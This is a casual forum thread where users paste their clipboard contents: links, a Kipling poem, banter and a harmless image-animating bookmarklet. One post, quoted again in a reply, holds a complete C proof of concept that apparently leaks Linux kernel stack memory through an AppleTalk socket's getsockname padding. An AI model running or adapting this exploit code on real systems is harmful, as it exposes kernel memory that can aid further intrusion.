whats your ctrl-v

portomar

NRL Titans v Tigers

Neamhshuntasach

Escuela Proyecto La Esperanza

Overheal

http://i547.photobucket.com/albums/hh468/Mandos/chickenFuuu.jpg

posting this in R&R because I was angry at, well, this comic, actually.

bluto63

Huh, I've got nothing copied

Biggins

Will someone tell me what the hell this thread is about?

...but in the meantime, lets dance...

BaconZombie

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <net/if_arp.h>
#include <linux/atalk.h>

void kernop(int fd)
{
    /* from Jon Oberheide sploit
     */
    const int   randcalls[] = {
        __NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,
        __NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl, 
        __NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup, 
        __NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl, 
        __NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday, 
        __NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,
        __NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid, 
        __NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority, 
        __NR_sched_getparam, __NR_sched_get_priority_max
    };
    const int   randsopts[] = { SOL_SOCKET, AF_APPLETALK };
    int         ret, len;
    char        buf[1024];

    do
    {
        switch ( rand() % 3 )
        {
            case 0:
                ret = syscall(randcalls[rand() % sizeof(randcalls)/sizeof(randcalls[0])]);
                break;
            case 1:
                len = (rand() % 2) ? sizeof(int) : sizeof(buf);
                ret = getsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, &len);
                break;
            case 2:
                len = (rand() % 2) ? sizeof(int) : sizeof(buf);
                ret = setsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, len);
                break;
        }
    }
    while ( ret < 0 );
}

void dump( unsigned char * data, unsigned int len )
{
    unsigned int dp, p;
    const char trans[] =
    "................................ !\"#$%&'()*+,-./0123456789"
    ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
    "nopqrstuvwxyz{|}~...................................."
    "....................................................."
    "........................................";

    for ( dp = 1; dp <= len; dp++ )
    {
        printf("%02x ", data[dp-1]);
        if ( (dp % 8) == 0 )
        {
            printf("| ");
            p = dp;
            for ( dp -= 8; dp < p; dp++ ) {
                printf("%c", trans[data[dp]]);
            }
            printf("\n");
        }
    }

    return;
}

int main(void)
{
    struct sockaddr_at  sat;
    int                 s, len = sizeof(sat), occ = 500;
    char                prev_zero[sizeof(sat.sat_zero)] = { 0 };

    s = socket(AF_APPLETALK, SOCK_DGRAM, 0);
    if ( s == -1 )
    {
        perror("socket");
        return EXIT_FAILURE;
    }

    memset(&sat, 0, sizeof(sat));
    sat.sat_family = AF_APPLETALK;
    sat.sat_addr.s_net = htons(ATADDR_ANYNET);
    sat.sat_addr.s_node = ATADDR_ANYNODE;
    sat.sat_port = ATADDR_ANYPORT;

    if ( bind(s, (struct sockaddr *) &sat, len) < 0 )
    {
        perror("bind");
        return EXIT_FAILURE;
    }

    srand(time(NULL) ^ getpid());

    while ( --occ )
    {
        kernop(s);

        if ( getsockname(s, (struct sockaddr *) &sat, &len) == 0 )
        {
            if ( memcmp(sat.sat_zero, prev_zero, sizeof(sat.sat_zero)) != 0 )
            {
                dump((unsigned char *) &sat.sat_zero, sizeof(sat.sat_zero));
                memcpy(&prev_zero, &sat.sat_zero, sizeof(sat.sat_zero));
                usleep(5000);
            }
        }
    }

    close(s);

    return EXIT_SUCCESS;
}

4zn76tysfajdxp

Turd Ferguson wrote: »

sorry Hagar, wasnt really thinking on that one

Hey, at least it wasn't scat-porn again.

Turd Ferguson

Amara Juicy Guy wrote: »

Hey, at least it wasn't scat-porn again.

Thats saved for pm's....btw you still want those pictures we talked about?

Biggins

BOFH_139 wrote: »

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <net/if_arp.h>
#include <linux/atalk.h>

void kernop(int fd)
{
    /* from Jon Oberheide sploit
     */
    const int   randcalls[] = {
        __NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,
        __NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl, 
        __NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup, 
        __NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl, 
        __NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday, 
        __NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,
        __NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid, 
        __NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority, 
        __NR_sched_getparam, __NR_sched_get_priority_max
    };
    const int   randsopts[] = { SOL_SOCKET, AF_APPLETALK };
    int         ret, len;
    char        buf[1024];

    do
    {
        switch ( rand() % 3 )
        {
            case 0:
                ret = syscall(randcalls[rand() % sizeof(randcalls)/sizeof(randcalls[0])]);
                break;
            case 1:
                len = (rand() % 2) ? sizeof(int) : sizeof(buf);
                ret = getsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, &len);
                break;
            case 2:
                len = (rand() % 2) ? sizeof(int) : sizeof(buf);
                ret = setsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, len);
                break;
        }
    }
    while ( ret < 0 );
}

void dump( unsigned char * data, unsigned int len )
{
    unsigned int dp, p;
    const char trans[] =
    "................................ !\"#$%&'()*+,-./0123456789"
    ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
    "nopqrstuvwxyz{|}~...................................."
    "....................................................."
    "........................................";

    for ( dp = 1; dp <= len; dp++ )
    {
        printf("%02x ", data[dp-1]);
        if ( (dp % 8) == 0 )
        {
            printf("| ");
            p = dp;
            for ( dp -= 8; dp < p; dp++ ) {
                printf("%c", trans[data[dp]]);
            }
            printf("\n");
        }
    }

    return;
}

int main(void)
{
    struct sockaddr_at  sat;
    int                 s, len = sizeof(sat), occ = 500;
    char                prev_zero[sizeof(sat.sat_zero)] = { 0 };

    s = socket(AF_APPLETALK, SOCK_DGRAM, 0);
    if ( s == -1 )
    {
        perror("socket");
        return EXIT_FAILURE;
    }

    memset(&sat, 0, sizeof(sat));
    sat.sat_family = AF_APPLETALK;
    sat.sat_addr.s_net = htons(ATADDR_ANYNET);
    sat.sat_addr.s_node = ATADDR_ANYNODE;
    sat.sat_port = ATADDR_ANYPORT;

    if ( bind(s, (struct sockaddr *) &sat, len) < 0 )
    {
        perror("bind");
        return EXIT_FAILURE;
    }

    srand(time(NULL) ^ getpid());

    while ( --occ )
    {
        kernop(s);

        if ( getsockname(s, (struct sockaddr *) &sat, &len) == 0 )
        {
            if ( memcmp(sat.sat_zero, prev_zero, sizeof(sat.sat_zero)) != 0 )
            {
                dump((unsigned char *) &sat.sat_zero, sizeof(sat.sat_zero));
                memcpy(&prev_zero, &sat.sat_zero, sizeof(sat.sat_zero));
                usleep(5000);
            }
        }
    }

    close(s);

    return EXIT_SUCCESS;
}

Some nice validation code there. Good stuff.

4zn76tysfajdxp

Turd Ferguson wrote: »

Thats saved for pm's....btw you still want those pictures we talked about?

Ooo! Yes please!

Zeouterlimits

El Guapo!

It was this pic!!

SoWatchaWant

Mine is porn. I'm not posting it up here.

candlegrease

http://www.howmanypeopleareinspacerightnow.com/

Rhyme

"Zdzislaw Beksinski"

Polish painter, incredible work... also very haunting stuff.

passive

http://community.livejournal.com/baaaaabyanimals/3919630.html

limklad

my ctrl-v

https://www.youtube.com/watch?v=e3vEOSkk5AM

https://www.youtube.com/watch?v=2uQ30Iafg8k

LOL

Mimikyu

This post has been deleted.

An Fear Aniar

http://imgur.com/DKrJj.jpg


.

mukki

probably should have posted in cuckoos nest, but that are all mad in there, it would be just cat pictures


oh my ctrl + v now is....


press submit

narwog81

You'll Be a Man, My Son
If

If you can keep your head when all about you
Are losing theirs and blaming it on you;
If you can trust yourself when all men doubt you,
But make allowance for their doubting too;
If you can wait and not be tired by waiting,
Or, being lied about, don't deal in lies,
Or, being hated, don't give way to hating,
And yet don't look too good, nor talk too wise;

If you can dream - and not make dreams your master;
If you can think - and not make thoughts your aim;
If you can meet with triumph and disaster
And treat those two imposters just the same;
If you can bear to hear the truth you've spoken
Twisted by knaves to make a trap for fools,
Or watch the things you gave your life to broken,
And stoop and build 'em up with wornout tools;

If you can make one heap of all your winnings
And risk it on one turn of pitch-and-toss,
And lose, and start again at your beginnings
And never breath a word about your loss;
If you can force your heart and nerve and sinew
To serve your turn long after they are gone,
And so hold on when there is nothing in you
Except the Will which says to them: "Hold on";

If you can talk with crowds and keep your virtue,
Or walk with kings - nor lose the common touch;
If neither foes nor loving friends can hurt you;
If all men count with you, but none too much;
If you can fill the unforgiving minute
With sixty seconds' worth of distance run -
Yours is the Earth and everything that's in it,
And - which is more - you'll be a Man my son!
Rudyard Kipling

wanted the full text after seening the vodafone GAA championship ad on tv!

PunkFreud

http://westwing.bewarne.com/second/25letter.html

Mrmoe

4dw5oNk3

Pygmalion

http://www.smbc-comics.com/index.php?db=comics&id=1622

AlphaMale 3OO

xxxxxxxxxxxx

EDIT: Oh God! Credit Card number!

rainbow kirby

https://www.youtube.com/watch?v=sGUG1aCUY2o

ottostreet

http://www.bzoink.com/Q3951/What_is_the_first_name_of_the_person_you_will_marry.html


ah nooo, my explanation for this is ****e.

never mind!

My name is URL

Go to google images. Search whatever you want. Then copy/paste this code in your internet address bar and hit enter:

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI= document.images; DIL=DI.length; function A(){for(i=0; i<DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5 ); void(0)

lol

Insect Overlord

http://www.youtube.com/watch?v=liWH1XHF9DI&feature=channel

It's a link to a video of myself singing a bellX1 song. I was linking someone to it in a PM yesterday, obviously haven't had to copy and paste since.

Turd Ferguson

My name is URL wrote: »

Go to google images. Search whatever you want. Then copy/paste this code in your internet address bar and hit enter:

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI= document.images; DIL=DI.length; function A(){for(i=0; i<DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5 ); void(0)

lol

Suspicious.......what does it do?

Ohhhhh, awesome